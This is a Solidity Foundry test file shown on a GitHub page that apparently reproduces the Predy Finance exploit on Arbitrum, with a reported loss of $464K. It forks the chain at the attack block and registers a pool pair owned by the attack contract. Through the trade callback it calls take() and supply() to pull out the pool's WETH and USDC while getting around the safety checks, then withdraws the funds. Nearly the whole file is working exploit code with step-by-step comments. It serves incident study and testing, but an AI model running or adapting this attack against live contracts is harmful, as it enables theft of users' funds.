-
Notifications
You must be signed in to change notification settings - Fork 1.2k
/
PredyFinance_exp.sol
180 lines (156 loc) · 6.23 KB
/
PredyFinance_exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.15;
import "../basetest.sol";
import "../interface.sol";
// @KeyInfo - Total Lost : $464K
// Attacker : https://arbiscan.io/address/0x76b02ab483482740248e2ab38b5a879a31c6d008
// Attack Contract : https://arbiscan.io/address/0xb79714634895f52a4f6a75eceb58c96246370149
// Vulnerable Contract : https://arbiscan.io/address/0x7b8b944ab2f24c829504a7a6d70fce5298f2147c
// Attack Tx : https://arbiscan.io/tx/0xbe163f651d23f0c9e4d4a443c0cc163134a31a1c2761b60188adcfd33178f50f
// @Info
// Vulnerable Contract Code : https://arbiscan.io/address/0x7b8b944ab2f24c829504a7a6d70fce5298f2147c#code
// @Analysis
// Post-mortem :
// Twitter Guy :
// Hacking God :
pragma solidity ^0.8.0;
contract PredyFinance is BaseTestWithBalanceLog {
uint256 blocknumToForkFrom = 211_107_441;
IERC20 USDC = IERC20(0xaf88d065e77c8cC2239327C5EDb3A432268e5831);
IERC20 WETH = IERC20(0x82aF49447D8a07e3bd95BD0d56f35241523fBab1);
IPredyPool predyPool = IPredyPool(0x9215748657319B17fecb2b5D086A3147BFBC8613);
function setUp() public {
vm.createSelectFork("arbitrum", blocknumToForkFrom);
//Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit
fundingToken = address(USDC);
vm.label(address(WETH), "WETH");
vm.label(address(USDC), "USDC");
vm.label(address(predyPool), "PredyPool");
}
function testExploit() public balanceLog {
USDC.approve(address(predyPool), type(uint256).max);
WETH.approve(address(predyPool), type(uint256).max);
//implement exploit code here
AddPairLogic.AddPairParams memory addPairParam = AddPairLogic.AddPairParams({
marginId: address(WETH),
poolOwner: address(this),
uniswapPool: address(0xC6962004f452bE9203591991D15f6b388e09E8D0),
priceFeed: address(this),
whitelistEnabled: false,
fee: 0,
assetRiskParams: Perp.AssetRiskParams({
riskRatio: 100_000_001,
debtRiskRatio: 0,
rangeSize: 1000,
rebalanceThreshold: 500,
minSlippage: 1_005_000,
maxSlippage: 1_050_000
}),
quoteIrmParams: InterestRateModel.IRMParams({
baseRate: 10_000_000_000_000_000,
kinkRate: 900_000_000_000_000_000,
slope1: 500_000_000_000_000_000,
slope2: 1_000_000_000_000_000_000
}),
baseIrmParams: InterestRateModel.IRMParams({
baseRate: 10_000_000_000_000_000,
kinkRate: 900_000_000_000_000_000,
slope1: 500_000_000_000_000_000,
slope2: 1_000_000_000_000_000_000
})
});
uint256 pairId = predyPool.registerPair(addPairParam); // register pair, the owner of the pair is attack contract
IPredyPool.TradeParams memory tradeParams =
IPredyPool.TradeParams({pairId: pairId, vaultId: 0, tradeAmount: 0, tradeAmountSqrt: 0, extraData: ""});
predyPool.trade(tradeParams, ""); // set the attack contract as the locker
predyPool.withdraw(pairId, true, WETH.balanceOf(address(predyPool))); // withdraw the LP to the attacker
predyPool.withdraw(pairId, false, USDC.balanceOf(address(predyPool))); // withdraw the LP to the attacker
}
function predyTradeAfterCallback(
IPredyPool.TradeParams memory tradeParams,
IPredyPool.TradeResult memory tradeResult
) external {
predyPool.take(true, address(this), WETH.balanceOf(address(predyPool))); // take the asset to the attacker
predyPool.supply(tradeParams.pairId, true, WETH.balanceOf(address(this))); // supply the asset as LP and bypass the check in the function PositionCalculator.checkSafe()
predyPool.take(false, address(this), USDC.balanceOf(address(predyPool))); // take the asset to the attacker
predyPool.supply(tradeParams.pairId, false, USDC.balanceOf(address(this))); // supply the asset as LP and bypass the check in the function finalizeLock()
}
function getSqrtPrice() external view returns (uint256) {
return 40_000_000_000;
}
}
library AddPairLogic {
struct AddPairParams {
address marginId;
address poolOwner;
address uniswapPool;
address priceFeed;
bool whitelistEnabled;
uint8 fee;
Perp.AssetRiskParams assetRiskParams;
InterestRateModel.IRMParams quoteIrmParams;
InterestRateModel.IRMParams baseIrmParams;
}
}
library Perp {
struct AssetRiskParams {
uint128 riskRatio;
uint128 debtRiskRatio;
int24 rangeSize;
int24 rebalanceThreshold;
uint64 minSlippage;
uint64 maxSlippage;
}
}
library InterestRateModel {
struct IRMParams {
uint256 baseRate;
uint256 kinkRate;
uint256 slope1;
uint256 slope2;
}
}
interface IPredyPool {
struct TradeParams {
uint256 pairId;
uint256 vaultId;
int256 tradeAmount;
int256 tradeAmountSqrt;
bytes extraData;
}
struct TradeResult {
Payoff payoff;
uint256 vaultId;
int256 fee;
int256 minMargin;
int256 averagePrice;
uint256 sqrtTwap;
uint256 sqrtPrice;
}
struct Payoff {
int256 perpEntryUpdate;
int256 sqrtEntryUpdate;
int256 sqrtRebalanceEntryUpdateUnderlying;
int256 sqrtRebalanceEntryUpdateStable;
int256 perpPayoff;
int256 sqrtPayoff;
}
function registerPair(
AddPairLogic.AddPairParams memory addPairParam
) external returns (uint256);
function trade(
TradeParams memory tradeParams,
bytes memory settlementData
) external returns (TradeResult memory tradeResult);
function take(bool isQuoteAsset, address to, uint256 amount) external;
function supply(
uint256 pairId,
bool isQuoteAsset,
uint256 supplyAmount
) external returns (uint256 finalSuppliedAmount);
function withdraw(
uint256 pairId,
bool isQuoteAsset,
uint256 withdrawAmount
) external returns (uint256 finalBurnAmount, uint256 finalWithdrawAmount);
}